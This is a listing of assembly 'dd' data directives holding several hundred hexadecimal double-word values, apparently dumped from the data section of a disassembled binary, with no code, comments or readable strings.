dd 0A3CFEB0Ch, 1FD4CC3Bh, 0BBC43E2Eh, 0AC8532DBh, 0E3349B80h
dd 0ABD0092h, 0C81C4B98h, 56E44419h, 6AC58D00h, 5461D606h
dd 0C4DB0459h, 80266BF4h, 80C3E214h, 1BAB90Eh, 8DDFA727h
dd 50A23C50h, 0E5B5140Dh, 5303E483h, 200590EDh, 0BAB1D780h
dd 0DDC8C500h, 9406FFCBh, 82C300B5h, 0B9E049EFh, 78004F2Ah
dd 37876C74h, 7E8001BDh, 7F390053h, 0A4252808h, 0ECA02D2Bh
dd 83055886h, 0A00E211Ah, 0A0C737C3h, 8562CEh, 3C962071h
dd 5355D3AEh, 0C13A3401h, 0E35CBFE7h, 6512DC32h, 64530280h
dd 3448556Ah, 0E000D374h, 60D50719h, 0EEC441Bh, 97A92F7Dh
dd 0C436582h, 5FC6E0FFh, 68121841h, 0BBD8E877h, 0CFA6AF00h
dd 0ED494030h, 7839B08Dh, 0F65F00C0h, 61DAE60Ah, 85017AD3h
dd 4C9334FCh, 5DE07992h, 907F16FBh, 983F00CFh, 0BE4B0E63h
dd 0C08C40CFh, 1201B0EFh, 0CA7AC0h, 1584672Ch, 2E331A0Eh
dd 6A30B00h, 5E8334C6h, 791C913h, 0B498BC90h, 0E80F49h
dd 298CE76Bh, 98C0B6B1h, 0A8B92608h, 0C8890155h, 5023DF9Fh
dd 0CDD460D4h, 0D2458100h, 9214A83Eh, 5B3A0036h, 0F71A91AAh
dd 0BE002620h, 22ED8D4Eh, 0F0F4DBh, 948A8EF1h, 80CCB1C0h
dd 0D110CE00h, 5A589FF7h, 0DE4A30C1h, 41A22A0h, 9981E030h
dd 6068B7h, 0BE42ED21h, 5AE53D6Ah, 5674C003h, 791E08DFh
dd 4FF468h, 9A9E35AEh, 9C673071h, 8301533Fh, 2DA6B6BAh
dd 24829FFCh, 0AE98806Bh, 0FC3E9h, 8382FF90h, 0D2738DAAh
dd 44294100h, 61C7F6B7h, 1AD90032h, 0EB239984h, 4E01E63Eh
dd 341FDCDh, 0D04374C7h, 5A0F8051h, 587800D9h, 75499625h
dd 7E7A6221h, 602BE400h, 8B5EE969h, 0C57604h, 9C9D102Dh
dd 0D95B57C4h, 0AF2EE703h, 90C7E0D1h, 0E4D48ECAh, 4B0C00D6h
dd 2DF2CF20h, 0D928A943h, 71039F03h, 0B9B40177h, 4EAAC853h
dd 0FB050099h, 0A5C2B296h, 4802D262h, 4F98B5AFh, 51DEC08Ch
dd 107F00D5h, 6023BCFDh, 7E742B3Fh, 0D300C17Eh, 39EFC496h
dd 0EBF4AEBh, 54C58E48h, 0C0F299E5h, 189B1174h, 0DED17000h
dd 95AEED2h, 0D83F009Eh, 686C63C0h, 700E5C14h, 624E33AEh
dd 60951122h, 1F09591Ah, 0C0EFD7A6h, 436D4615h, 37001F25h
dd 0BA050A49h, 71FE9206h, 0D5AC0F90h, 0BEBC9F34h, 0EF6BC900h
dd 0CACBBF2Bh, 7CF43A00h, 0A061254h, 18B20045h, 2177EE02h
dd 0D10061AFh, 30A7A241h, 23F3FBh, 0EA5E1EC9h, 7BA1F8F4h
dd 0B80069B6h, 56584C25h, 7AE9000Ah, 0B9D11A80h, 0AE00B15Bh
dd 0D03A7BFBh, 565E84h, 727D114Ah, 0ACDE7991h, 0A300987Fh
dd 19D0F31Bh, 0DBC5A1h, 72CE0943h, 0BBDA8869h, 0C903E81Eh
dd 3A006D9Eh, 19AC73D7h, 285000Fh, 458331B7h, 0BF00BAADh
dd 809AEBC1h, 0C267F5BEh, 27E8DA34h, 0F6EAEC60h, 82962902h
dd 40E4456Eh, 1AFA478h, 797242F9h, 0D8F8EDDCh, 31F33758h
dd 6744412Dh, 0B1DEF434h, 750CA3FAh, 502DA839h, 6E7203C5h
dd 451C1685h, 7E960DF0h, 3BA93A13h, 6010840Eh, 44490848h
dd 0A3121EB9h, 0EC8D1F69h, 0DD280063h, 0CCA79F1Ah, 0BB00D8B0h
dd 0E40A95BAh, 24AE342Dh, 75CD445h, 707088D5h, 2EB46DA9h
dd 3CDBB200h, 668755BBh, 5AB008Eh, 7CE376F7h, 24B0C27Fh
dd 0E6A22A01h, 3D8E3C82h, 5DEB9EF8h, 0F42428D8h, 282CD4h
dd 1C94672Eh, 6F2E6E30h, 97006710h, 0AAEC7DACh, 0F5871EA6h
dd 5F59407Ah, 5E2488F8h, 0A4381738h, 0E700E646h, 0B8DF4F5h
dd 5E85Ch, 0E142129Eh, 405096A4h, 84EAB000h, 37E09713h
dd 0BF9307E5h, 204F6B88h, 0F7351FD8h, 0E7C79205h, 48C0305Fh
dd 38038h, 0C6B9C8CCh, 0B7DDB89h, 0C200C47Bh, 730A92C1h
dd 51EBE3Dh, 84894BBAh, 1DD6011Bh, 0E5867F6Fh, 5AB8501Ch
dd 6917BD2Bh, 0D000D5B7h, 719B4310h, 36840E6Bh, 514903BEh
dd 0CC945800h, 6D12CA87h, 1047F50Dh, 9E30389Fh, 5B7D2Ch
dd 0B4FC84ACh, 0F911CC13h, 0FB5CB013h, 88C73C00h, 17A4D414h
dd 496BE675h, 0C2596ECh, 20AC90FEh, 28B894BAh, 0A86093Fh
dd 0E01B488Bh, 20E05C0Eh, 0D694E9F3h, 0B7AC13C0h, 8ED01EE2h
dd 1FEC0FDCh, 900EA28h, 38F691D7h, 24790D8Bh, 60F026h
dd 802FCD03h, 3A900A33h, 0ED889F03h, 0D081A3E1h, 0D67E85h
dd 3439A96Ah, 98BA0EACh, 25550C02h, 0C0A1BE1Bh, 2F3BFA3h
dd 3F03E79Eh, 0CC806D4Dh, 9A2DED18h, 0DAA488h, 9DE5E89Fh
dd 0ECE725D2h, 3CC00700h, 0F62ECDA6h, 0BA9900EAh, 0AD64064Ah
dd 630147AFh, 788B1936h, 24E0557Ah, 86100F6Dh, 0EB04B937h
dd 770C01D2h, 0B0A724Fh, 0A069FABBh, 876ED028h, 50C60F71h
dd 7BC26394h, 4C4073BDh, 3301B1F7h, 0A9013D83h, 12D97EFEh
dd 7F2455CCh, 68AF48FCh, 800A0407h, 77C0108Dh, 5E037FF9h
dd 2DB06212h, 34D0CDC4h, 73FB99EDh, 410600F2h, 2C8B211Ch
dd 450076C5h, 7C2307BBh, 0E49579B4h, 0F0867A66h, 0CF961DBDh
dd 0F2A4C036h, 1A8D41EDh, 0A5893500h, 0A6591EEh, 160B004Fh
dd 0BEB91592h, 54022A96h, 0C7906E55h, 6692619Bh, 500EC024h
dd 2EB801h, 44FD1A59h, 28201667h, 0F51EAD07h, 75908D34h
dd 3BDED797h, 198771AEh, 0C051111Bh, 7E4277C1h, 5828F200h
dd 3B02C468h, 6EE70275h, 44BE1A56h, 1971088Ch, 0BB794701h
dd 8B74CD66h, 9A86020h, 0B9BF4BE3h, 80232840h, 0D7110207h
dd 0C3F21E19h, 1F64707Ch, 1E4EAD77h, 0F1103FEh, 82A3DA08h
dd 92AF31A0h, 398120A3h, 0AED9802Ch, 0A843E32Fh, 4ACCE9CFh
dd 7982F9D7h
dd 0E05A4BDBh, 0B8088E40h, 8B16F501h, 0B980E83Ah, 0DF48A6F8h
dd 11728350h, 31A0835Eh, 0A430D116h, 9930612Eh, 65AF09CCh
dd 5380E9A8h, 0BA72F3EAh, 5C43A028h, 371FDCFAh, 0D640AD18h
dd 0F9AE6EA8h, 42F55876h, 1B516F00h, 6C2D7DD9h, 0E197ED07h
dd 522757BEh, 5A823E60h, 0CB371D68h, 8CC90042h, 0F6BAD96Fh
dd 5B569400h, 7AAC9D25h, 3E2C00E8h, 333BC5E9h, 1D00CF91h
dd 0FF8898Ah, 32E17459h, 15B90C36h, 0C80C04BFh, 81134h
dd 0D9E2ECFBh, 6C54AAD1h, 0D5FC7300h, 28C5AB0Ah, 0A4D0388Ch
dd 0FA21058Fh, 0B983048Fh, 16E08F14h, 1B284293h, 0C702C4Dh
dd 517C3331h, 8008ACB2h, 9F3FDDF3h, 120AEA29h, 551F9C1Eh
dd 0DB887C00h, 16ED242Bh, 27B071h, 8620D444h, 61CF28ABh
dd 2260145Dh, 0EEF226BEh, 49193020h, 5C0154DBh, 2B03AE6Bh
dd 704C7685h, 0E82F4124h, 0A04C0E60h, 5E4006A8h, 44E8DA43h
dd 103E0ABFh, 0D2970001h, 0D983FBB2h, 2117EDB1h, 582B0F37h
dd 34005E4Ch, 7D4503FBh, 60542627h, 0ED14A97Eh, 0C882147h
dd 0F8536C46h, 0FC02A8A9h, 7D44F773h, 19788036h, 33656Dh
dd 98510289h, 4850A6CEh, 0E4D14D22h, 3E3F0053h, 0FC5265C2h
dd 51001A05h, 5ED038F2h, 8641Fh, 0CFE156D9h, 24416CA7h
dd 817538C9h, 0DA355572h, 77A97870h, 18236079h, 0F2C8AFC6h
dd 4B0C4CF4h, 91325986h, 41A600CBh, 691B21A7h, 0A53CE139h
dd 80490FC3h, 1004FE97h, 3490D7A8h, 2B04FCh, 79A4CC8Fh
dd 0B570973Eh, 3CE5A100h, 0A6A57D5Ah, 484000D5h, 2586FDB0h
dd 0ED90287Ch, 0C46241C0h, 1710A1Bh, 338A543Bh, 78636B6Eh
dd 67690EE1h, 0D53DA00Ch, 4C88C4DAh, 5680880Fh, 9F5FF6B5h
dd 0ED25041Ch, 0E8D59140h, 270E152h, 5EF7210Eh, 304847ADh
dd 7608EA97h, 81DD48E9h, 556C406Dh, 0F0CEE07Dh, 890013FCh
dd 0B0D0D54Bh, 1A02ABh, 0FE3CB1CFh, 279229C0h, 1D0F073Ch
dd 0D0807A28h, 0B2C3B98Bh, 239E0C7Bh, 360873B3h, 0E2FF21C0h
dd 0A9E5BAh, 0DAB1CB7Ch, 90294751h, 0D2EFC300h, 0F64D2EB6h
dd 8D870406h, 6335EABh, 0C8407654h, 8AC00C70h, 46B2C2B9h
dd 7452283h, 0D3BAE1C6h, 9FF5208Fh, 0BD07560Fh, 5BB6708Ah
dd 2A28831h, 303A3106h, 6BB80C8Eh, 481124h, 0AE076881h
dd 0A73FC3C5h, 0A3083D63h, 65200079h, 0CD1B68C9h, 9D301E73h
dd 0AF61B04Dh, 2820C704h, 7A083C2Bh, 17ED7C03h, 88D6B4B3h
dd 0F9E2899Dh, 1D335F60h, 12757BA3h, 31AF18D7h, 0E41EE2C7h
dd 44C1B29Ch, 4BFFAA7Eh, 219C02D1h, 0C9E440EAh, 0CB7218A7h
dd 12B27830h, 0A0322F2Bh, 8146D6B0h, 0D100E768h, 0D4A48E18h
dd 381B7CDh, 797588B8h, 28172572h, 0CEFBCE6h, 0DA1827ACh
dd 953A40h, 0EFD6D2E7h, 0E454668Dh, 98F67000h, 0A6862F01h
dd 0DBC700C9h, 0DEA7C530h, 820F1EDFh, 0C1055C2Ah, 0E3CB755h
dd 12C090E1h, 7C490AEDh, 9441B3h, 4CCDD56Bh, 920080F8h
dd 0BD42D044h, 3F8DE1F7h, 0AA80E358h, 8FEEE60Ah, 1E00B3CBh
dd 0CDD7103Ch, 0D93F0Bh, 1A8E723h, 3A224DC7h, 0DCF57001h
dd 4602DE58h, 45210BFh, 0A530BEACh, 0E73E1017h, 67271CBBh
dd 0EDEBC015h, 0E3094730h, 0B7DA4503h, 82B521B1h, 1138E33Eh
dd 11EAAB29h, 7521E4F4h, 2C6F9604h, 0E288F0Ah, 3A70204Ch
dd 6478C419h, 2173296Dh, 1D121E4Dh, 41DBD510h, 192ED2Dh
dd 0A6405744h, 6D1FB9h, 0EB594234h, 9F1DC7ACh, 0ABEC6000h
dd 0FAE14EBAh, 8E0701DFh, 5D74C1F0h, 0D69FE84Fh, 1A5B8900h
dd 9A6E4D63h, 0C2670068h, 58C7F9DCh, 0A000598Ch, 4854891h
dd 1E1BEA8h, 0E8228F3h, 0DF22686Ch, 44A97A98h, 0CE3A5F00h
dd 265BD611h, 0C9020327h, 0D52EFCECh, 0D06DF2B0h, 3DF9D201h
dd 0D659B014h, 275ACCh, 33DC053Eh, 0AC41C5A5h, 1B01307Dh
dd 0A85B3271h, 45708674h, 779F3C5Ah, 0FFF8817h, 0BBC1E47Bh
dd 249953F4h, 7E00FB10h, 0C86DFEA2h, 16DEE526h, 186CEF9h
dd 0DB219F78h, 7167C0F3h, 7B00A77Fh, 12F18422h, 1E5C5880h
dd 4042FAA4h, 851594CDh, 3401A330h, 17E14D5h, 0E2F89071h
dd 129590FDh, 4022583Eh, 53674720h, 623F4D6Eh, 7A4F83D3h
dd 0D80C29D6h, 3F9E11C9h, 4985D14h, 0CF581A1Fh, 0A8006DE4h
dd 0E091D790h, 0F93DBA4h, 0F460C72Ah, 405EBAEEh, 0FF20A9C5h
dd 78003898h, 33F28216h, 15C5F73h, 23800819h, 0F081E6F6h
dd 5A3A2CE3h, 472F80BFh, 0A613C7C1h, 0EB3A01D0h, 7659F663h
dd 0AE38EC69h, 68A5ED00h, 47C1FCEFh, 0CB65005Bh, 0DFE9A004h
dd 1200FA82h, 0E0F1AA7Ch, 50BEA93Eh, 0C2A842h, 33EC645Fh
dd 95C5DC43h, 0A2161201h, 35F27444h, 102193E1h, 8446F8h
dd 0D81FE8D4h, 2713E6E3h, 0B0329024h, 0FE575F00h, 7BE7B260h
dd 555E022Eh, 0F04816FCh, 0A3E81363h, 0A006C12h, 8ABB0BC1h
dd 0F4728D7Eh, 841F5B3h, 55EC107Ch, 0BF9200F2h, 60FCE4CDh
dd 9172FBh, 4A478B00h, 0E62B0B08h, 94EC0062h, 86EFB663h
dd 0E3000A23h, 3A1574B2h, 7172D1h, 0F39C1C18h, 3ED95053h
dd 86876A00h, 3C3334F8h, 192C1D48h, 12DC45D3h, 2FC096Fh
dd 0AB998C18h, 6C9E3709h, 0C32807E5h, 30881590h, 3156005Fh
dd 0FC02FBDCh, 340020F7h, 0E64AD103h, 7D906582h, 7543F075h
dd 2DF00F9Fh, 0AAE0637Fh, 13314819h, 7673D004h, 802F3Eh
dd 0E8AEB0Fh, 418C4997h, 2D03B100h, 8380C71h, 73F389DCh
dd 9300D536h, 0C3C79F57h, 391DA500h, 7022DDDAh, 7C7A797Eh
dd 0AB470967h, 2000735Ah, 0A2CAC756h, 0CB488CE4h, 0EADC0080h
dd 2FE07764h, 609003F4h, 0E1F30637h, 556292F0h, 2566B01Ch
dd 2E826F81h, 20866Ch, 0CE170179h, 22CB241Ch, 4067E19Ah
dd 0F0B27098h, 83D6E507h, 0A49012C1h, 288BCEh, 7CD4DB81h
dd 8E89CD1Eh, 9C6A5024h, 7F06F128h, 0CAAF4320h, 0EA790011h
dd 54F3F840h, 0A50026F2h, 7E6370A8h, 6EFB89h, 4D4B5F1h
dd 4069D1E1h, 6FA2D200h, 98436CD3h, 0EC203D8Bh, 5052DF80h
dd 0F74C480Dh, 460CAD0Ah, 0EA80E880h, 0A42C1BB3h, 14F4EBBAh
dd 0EEA1005Bh, 2B610AD6h, 8500ACC2h, 9B527173h, 0E1C5A2h
dd 0A8491595h, 36CC7893h, 0B53E8528h, 7375BF00h, 413FA742h
dd 7627099Ah, 501E951h, 0E0DA19B2h, 0A30479D1h, 0B4FB9672h
dd 0BAE6CB81h, 0A5A630h, 7648C113h, 4B1D7430h, 0E5E6101h
dd 0F43B710Fh, 168660h, 7EB7BC11h, 1850D11Fh, 0B809A700h
dd 0DD2FCD31h, 4D8002Ch, 0EC40A1C9h, 0AC0069DEh, 8D2D0FC4h
dd 0FB7B217h, 36FFBCF3h, 5774720h, 3B0012E2h, 4F73B4E0h
dd 1C53C65h, 250BAF7Ch, 0F8F901A1h, 1B30D05Ah, 0C3CD7820h
dd 0FD37008Bh, 0EC81AF21h, 3C0E9179h, 1029A0h, 0DFDD7C0Eh
dd 31A50E2Bh, 7B00118Ah, 4D2301CCh, 371B58h, 0AB52135Fh
dd 5BB17Eh, 0F64A9464h, 0EA48800Ah, 0F2A89600h, 0FC290E8Fh
dd 780F003Eh, 0B094048Ah, 7503C5EBh, 48FD03D0h, 91AA8008h
dd 80E000F4h, 0EF28C37Ch, 9D269FBCh, 0B200403Fh, 0B061D6D8h
dd 99612BEh, 9D813B9h, 84006FC8h, 0DAA4EA22h, 0D780F301h
dd 0FCC47417h, 48902D0h, 0B3E4BE0Bh, 2E18C0C6h, 0F501613Dh
dd 0BB259D4Ch, 1460175Bh, 73AA721Ch, 0D18A1E4Eh, 0B60BC3E9h
dd 800008F6h, 0E07FD7DFh, 1AE642Eh, 7DD5E26Fh, 706EFC96h
dd 2300DCA1h, 4186EC93h, 5043B8Bh, 75F20DFFh, 0FC084F33h
dd 4BD5C1DEh, 30CF3F0Fh
dd 7A00E080h, 12A281F2h, 5D38711h, 0C60E4C96h, 0C5788032h
dd 63001485h, 83655FFDh, 5B308AFh, 2C76D646h, 0E84009Fh
dd 231E5292h, 3F73670Bh, 0D7A00C4h, 0E91096Dh, 4C0759F3h
dd 1E70C642h, 7D933848h, 0E83FF0A9h, 6200D95Bh, 5A5DEF90h
dd 0E7F6FEh, 5BAF276h, 198A1F4Ah, 0B17B5803h, 88E52B3Bh
dd 0FABC55A2h, 15020099h, 51CB2584h, 911F950Ah, 7700F660h
dd 803CBBCAh, 0F9B20704h, 8085C3D8h, 0E505B50Bh, 46846A1Dh
dd 6D00A517h, 3575AF56h, 98906004h, 0C0029382h, 0A56E2E02h
dd 0C06C7DE6h, 7CD4447Ch, 2010C19Bh, 0F7E2FFB3h, 0E8C0DEF3h
dd 0B40FBD07h, 80735774h, 0AA66172Ah, 0DA220082h, 0E0A43BA3h
dd 0A101B556h, 0C9CA6730h, 948E1C38h, 0D656F02h, 0A7F80B09h
dd 89F83900h, 0D949E60Fh, 0C1AE14C0h, 63DA0084h, 0E224BAA2h
dd 23FB24F9h, 0CA960011h, 0E3C2B21Ah, 55E93C17h, 8D257202h
dd 0D04A417Ah, 0E288F840h, 0F7613AF3h, 0DD462C02h, 6C407B3Ch
dd 490EEA8Fh, 0FE56279Dh, 15CE1B00h, 98417F32h, 58E94C52h
dd 0AC548B03h, 0A01D48F1h, 0E6C0F4CFh, 6D456F9h, 0C0D359D7h
dd 93844903h, 1B0340Fh, 5A097D1Eh, 672ECDh, 72A89A0Eh
dd 272D0B6Ah, 0E8870611h, 738E00ACh, 7B3F919Dh, 0B1B40038h
dd 59834CBEh, 17F63087h, 55ACF5A8h, 1A003C90h, 92149D78h
dd 3D72E9h, 8D8A595Dh, 3A497ADAh, 1D15EE01h, 0B0E4AA8h
dd 0FEFC75CCh, 7CA33D8Eh, 0E7554480h, 0C23A57DCh, 4B395898h
dd 2DA80C6h, 36D62446h, 0CA55C3Eh, 892AEA0Bh, 80C7EA04h
dd 0E360E4ECh, 6C72E200h, 0CDDD0614h, 43F74C9Eh, 8DAA614h
dd 0A46E8500h, 76FB0C93h, 3C6058h, 7FD3B794h, 3F104E53h
dd 369C7E34h, 0E07A58ACh, 9200F91Eh, 87503B9Dh, 70EFCE2h
dd 0FB617258h, 1F2B20E5h, 9800BB26h, 2C74E0DBh, 0D97967h
dd 35588555h, 3472F557h, 7EFE4600h, 4202EFEBh, 2C5A7981h
dd 84E02732h, 0F88CD1h, 10E848BEh, 81F00A9h, 0B2AEBB54h
dd 3D1F4FD7h, 0D580899Eh, 34490F33h, 15AF0018h, 2A838D54h
dd 6E74FF19h, 0E616D300h, 93E87A0Dh, 1FBE00D5h, 1E5AEA0Ah
dd 9F004647h, 4C635B2Bh, 0B7A87Eh, 20ED7A96h, 44681117h
dd 3D3F4B12h, 0F61F7C00h, 0AE59Bh, 430D1B98h, 13678060h
dd 8700FCF8h, 0CB302538h, 9281ADh, 1D8B06D5h, 61A87A20h
dd 4D99E900h, 217E1889h, 0A49100E8h, 35CAFBBEh, 1004292h
dd 0BDCE5E37h, 1E31307Bh, 0D8848DFDh, 7C2128EBh, 2BC9201Dh
dd 38F4C240h, 2BC1273h, 0B167C31Ah, 0DC60141Eh, 7B00DDD2h
dd 7885D842h, 1D241FA8h, 0C081F0ACh, 3117234h, 15017728h
dd 8EBE3E8Dh, 1D30107Ch, 8538969Ah, 0A8F75Eh, 60E1AD81h
dd 0B4B8D307h, 949B4700h, 0BCDFF3DBh, 167000EEh, 0B9B56C5Eh
dd 0A1FBF57h, 5180FCEDh, 0E8C45322h, 75973C20h, 0FDA3EC80h
dd 0B1067026h, 5667D500h, 30A877FBh, 78F50060h, 0F4B6071Dh
dd 609C6879h, 50E86900h, 741821h, 0FF4CAACBh, 56BC8A6h
dd 0D38D458h, 90CC3D3Bh, 2C1DB5E8h, 0A788203h, 3AE715A4h
dd 132F007h, 4220CCDEh, 0F449BC00h, 3DD63305h, 0E80F0397h
dd 8F329896h, 3B1ED5B0h, 88ACA600h, 12B31DFBh, 4CFD0087h
dd 73B90A9Bh, 2F019853h, 0B4092DE9h, 2C3C76h, 1F2323EFh
dd 229080B8h, 0FE582C5h, 53829E1h, 9C92F3A5h, 986AF4CCh
dd 8C00078h, 0B005A6B2h, 67E8BCE5h, 8ADB3A00h, 0A2BEA9E0h
dd 0EE0912DCh, 2D18C812h, 0F496F800h, 6777038Ah, 90600510h
dd 80F55E73h, 0D6632978h, 0D9D8100h, 7F383F74h, 933E0095h
dd 0F3704DA3h, 0CA002854h, 5B06A5A7h, 78CDE82h, 656EE271h
dd 0FEF69087h, 0F0A14509h, 5A0BF4FDh, 0E8528C00h, 482CAC39h
dd 0FC100A7h, 28F69437h, 0A31DAD7Ah, 15C0C66Dh, 71A04262h
dd 883500Dh, 3700132h, 0FA8AA747h, 0B61C3084h, 4659B27h
dd 0A41854h, 0AA86275Bh, 403D9800h, 6E79D773h, 8FB66F3Fh
dd 0C0D2C25Eh, 8B3F2F6Dh, 0B9250FE7h, 9FC006C9h, 0C6F39C96h
dd 0D7EAF70Fh, 300036DDh, 3F623625h, 0D3B1003Eh, 0A88AE3Ch
dd 2E3B48C8h, 0BEC08971h, 0E1A8C081h, 0A1C0A016h, 6412004Bh
dd 0D104EF21h, 0C800105Ah, 6CF44FA0h, 7D4B5FEDh, 0E4DC1CC1h
dd 93A2C04Dh, 0C9C2E115h, 8F665C00h, 0ED84B592h, 0F601E28h
dd 0EA4A40Eh, 7060F898h, 0F4BA42C5h, 47407173h, 0F8988E41h
dd 87A2D33Dh, 51673FD2h, 645F1240h, 0B8592CB6h, 0A3CC94B8h
dd 2F96C17h, 0B1A685BCh, 0B0808962h, 0A4EAEEB9h, 99343B00h
dd 10897903h, 0B0E52462h, 15F580C8h, 71C9E8Fh, 0AE86423Dh
dd 0B500F80Eh, 346EEC79h, 0FBEE00C6h, 807E658Dh, 0CA787FB1h
dd 5A156600h, 20530CADh, 14EA7B02h, 0C0AE076Eh, 1D67DA00h
dd 7E392BFCh, 0C6A080F2h, 65003C34h, 0E7DF4CA0h, 0FC597Ah
dd 3BDBAD85h, 7120D417h, 0F22FDE09h, 9C0481A5h, 98603637h
dd 0F070F19Eh, 3ED0006Fh, 3938E381h, 24392160h, 1D9F8A16h
dd 4C00E06Eh, 0FA5A5CAEh, 0E051C26h, 605B0052h, 104F24FCh
dd 891AA800h, 5E4CE28Fh, 0C5620125h, 3EEC7320h, 7D084053h
dd 0C0B73CF6h, 0B067EE1Ch, 4BDC76B8h, 4F4017Bh, 0DE7152C3h
dd 230D20E0h, 34DE8F07h, 0C1943069h, 9176CCC1h, 0A987B03Ch
dd 1A3C52B0h, 2703F078h, 0E5797B32h, 0B070B32Ch, 0BB52BFh
dd 88F2CF65h, 0AA4CF9D2h, 34E9400h, 0F1EB497Ch, 6A7E019Ch
dd 0CBFF178Eh, 3851713Ch, 40A42108h, 6C5AD81h, 0C102BF7Ch
dd 73B69C45h, 8F0C40C9h, 0AE090068h, 0B54333BBh, 0EF750674h
dd 0E8C01907h, 4D20A66Ah, 0A0C99035h, 0FB1BE8h, 3AD67CCFh
dd 5614A5A3h, 0A6E6F1E2h, 4A658E00h, 0BB9D6E15h, 0B4DB0737h
dd 0E0679612h, 6DFA7B8Ch, 686C803h, 0F0F398ABh, 2A4997h
dd 3AC0505Bh, 0BED6669Eh, 0DACA7C0Fh, 0FA6CC001h, 5C4536h
dd 8D6B0BF0h, 8B567EDCh, 54BAEB09h, 9C6B616Eh, 48E6E7D9h
dd 5B11DCh, 0EB2D5729h, 5DFD8E79h, 9BA05F01h, 0FFECAB98h
dd 454BF0DFh, 80E09Dh, 3B378BB2h, 5BCD333Ah, 0AF841A0Fh
dd 5AE1A0DEh, 0CBC454h, 8BF9DC8Ah, 0AE8C0A72h, 0CA00307Ch
dd 4BD8D73Dh, 0B87FA79h, 94A75CBDh, 0D500546Ch, 462CF0A3h
dd 4FEE43Fh, 186216F6h, 0EFDCC065h, 0BEEADE7Eh, 779160C0h
dd 33E3EAh, 18294AA6h, 769CE55Bh, 1FC89500h, 60719273h
dd 86C63EEAh, 0B010D1A5h, 7026E26Bh, 101C33DDh, 0A263F303h
dd 7C80F4E7h, 277E01h, 0C34ED1E6h, 547C382Fh, 0E84C2B00h
dd 0CAAA9A84h, 92CD010Ch, 0A40F6D4Fh, 544B3082h, 0AD161D72h
dd 0DD001420h, 99AF358h, 92325C2Dh, 244D3C50h, 657154h
dd 77CA1C70h, 66009747h, 8161F739h, 0EF855EFEh, 41027478h
dd 0A0F4AE7Bh, 0E303D840h, 0F05E7500h, 2D2A5C59h, 0C6AC00B4h
dd 52B26670h, 1E0078FBh, 93CFD795h, 9D6CF8A1h, 0D90084D0h
dd 5E17BF91h, 1CF54ECBh, 637D35h, 0B4CC9A1h, 4500EF2Bh
dd 0D5C7BAEAh, 18CCB210h, 893F85C6h, 0B0F8C4BFh, 768C471Eh
dd 3D7D2600h, 59C0781h, 0ACBAE55Dh, 0C67C91D4h, 8B1C40BDh
dd 93076E3h, 983D0883h, 0B518C752h, 0C212C0DBh, 0A90194ABh
dd 0F7F6F508h, 5DFDC185h, 7573E8h, 0A6DB7FA0h, 0C48C3F9Fh
dd 4B735E74h, 47B28303h, 0E23798D9h, 97710CC6h, 0B2F558C0h
dd 0DF21DACFh, 73C50F90h, 26225980h, 4A745C94h, 0C15E4902h
dd 84D518BAh, 8330615Ch
dd 63000975h, 30EDDF8Fh, 0A52993h, 5D6599E0h, 1C74F7EBh
dd 45DA4703h, 0B0CF305Bh, 78B9E6h, 0E1220986h, 81E92834h
dd 57088F00h, 0A22E0C32h, 6B5F01A3h, 85BD9B0Eh, 0A4A0033h
dd 0D90B1414h, 3800C187h, 5C534E72h, 0E41E13A8h, 0C2002C8Eh
dd 741FDABEh, 787C0022h, 83D3A68Dh, 0EB7145BAh, 0DA0FF37Eh
dd 0E0D621CBh, 0B7883890h, 572F3EFAh, 4E324C18h, 0D90108CAh
dd 0AF6E7F45h, 7BD0D512h, 0D4154CEDh, 60C96A00h, 0DB6F1F47h
dd 0FA5F8700h, 94EE452Ch, 0FDF000A4h, 6A22771Dh, 0DF011B9Dh
dd 0DD137446h, 0E0D2F73Eh, 3F43084h, 762E7FA6h, 2F803359h
dd 9500D08Ch, 0A413EF32h, 62073Fh, 0D3ADBC93h, 0F8D42123h
dd 7300D072h, 446CE26Fh, 74EFE313h, 0EA5C037Ch, 38326D54h
dd 588D2CBh, 79077E03h, 156F4A26h, 0A89F4D43h, 0F6E8011h
dd 83DE422Ch, 9814A4B2h, 0DD0750F6h, 0A1A2E625h, 56405109h
dd 36B3C718h, 0C63910h, 0BAD4D532h, 0EA8769B0h, 0D70EEB00h
dd 0CAC70848h, 0C027066Ch, 29140939h, 0C111F442h, 72A6112Dh
dd 211EC511h, 2B2508F8h, 11289294h, 0FC216188h, 94D04808h
dd 3511144Eh, 6A44702Ah, 7AD64430h, 2D732284h, 513C4442h
dd 3720D644h, 36412224h, 0E7F408F9h, 9C6B0211h, 42A28451h
dd 0E959110Ch, 223CBE28h, 10443305h, 0CCE100BBh, 3E16FB5Ch
dd 8903B896h, 0CF9354F3h, 0A89EDB31h, 7D875Dh, 1F1222A6h
dd 3EC620DEh, 76C281Eh, 0D1E87340h, 529FDFh, 87FB7E0Eh
dd 139939C4h, 19263800h, 6576CDE0h, 1920068h, 0A649C26Fh
dd 0E71CD442h, 0AD407063h, 0E317646Ah, 57C70773h, 204EF144h
dd 1B8C5A29h, 0DF89E900h, 326EF69Bh, 0BA71008Bh, 0D0A93070h
dd 0EC010D0Ch, 0A7B689C4h, 5BF48719h, 23B2825h, 0EA74049Ch
dd 0AC89ACDBh, 646D1CBBh, 0E35CFC40h, 18E9E20h, 25E5B79h
dd 2428DEA2h, 403933Ch, 303C88DCh, 526101B1h, 6FB4022Ah
dd 150B9EFh, 0D98672F3h, 1FF0E5F8h, 0B001013Eh, 27C7263Ch
dd 35642415h, 80487E38h, 96727458h, 3E9442E2h, 5F8168F3h
dd 9EE39B3Ch, 0B76A70E6h, 9F00A572h, 0FBD15918h, 0FE90BD3h
dd 9CCDE1FDh, 0DA148180h, 0C100D473h, 2A1A12CFh, 3F3AAC29h
dd 0B99F2FEEh, 3BF900CDh, 39CBB53Fh, 0D87CB400h, 0F2916307h
dd 501000B3h, 66DB9F53h, 60E3B7FCh, 8900AF79h, 0EDEEFFD0h
dd 0F2BC8AF6h, 9737009Fh, 2A731CDFh, 0AD00BF90h, 0E40AB39Ch
dd 4CF236D0h, 10098B26h, 3C70FF55h, 23997A00h, 0E65E43A9h
dd 38A1FC11h, 588E228Ah, 4B40D379h, 0DEC450B5h, 0BE0EBC76h
dd 408BE6A6h, 4A7F645Fh, 0E59050BBh, 0FE82FE56h, 49B043h
dd 249BC139h, 98A31ADCh, 6383460h, 18D589Dh, 9289993Dh
dd 603C512Bh, 6500A5DFh, 15F8B02Dh, 17B7EEh, 8718FC90h
dd 16F2C16Ch, 96E35400h, 95560D67h, 0A1C7E7Ch, 9B612837h
dd 0B5D880F0h, 107DCBCEh, 60074100h, 31BD4AD5h, 1DED794Ch
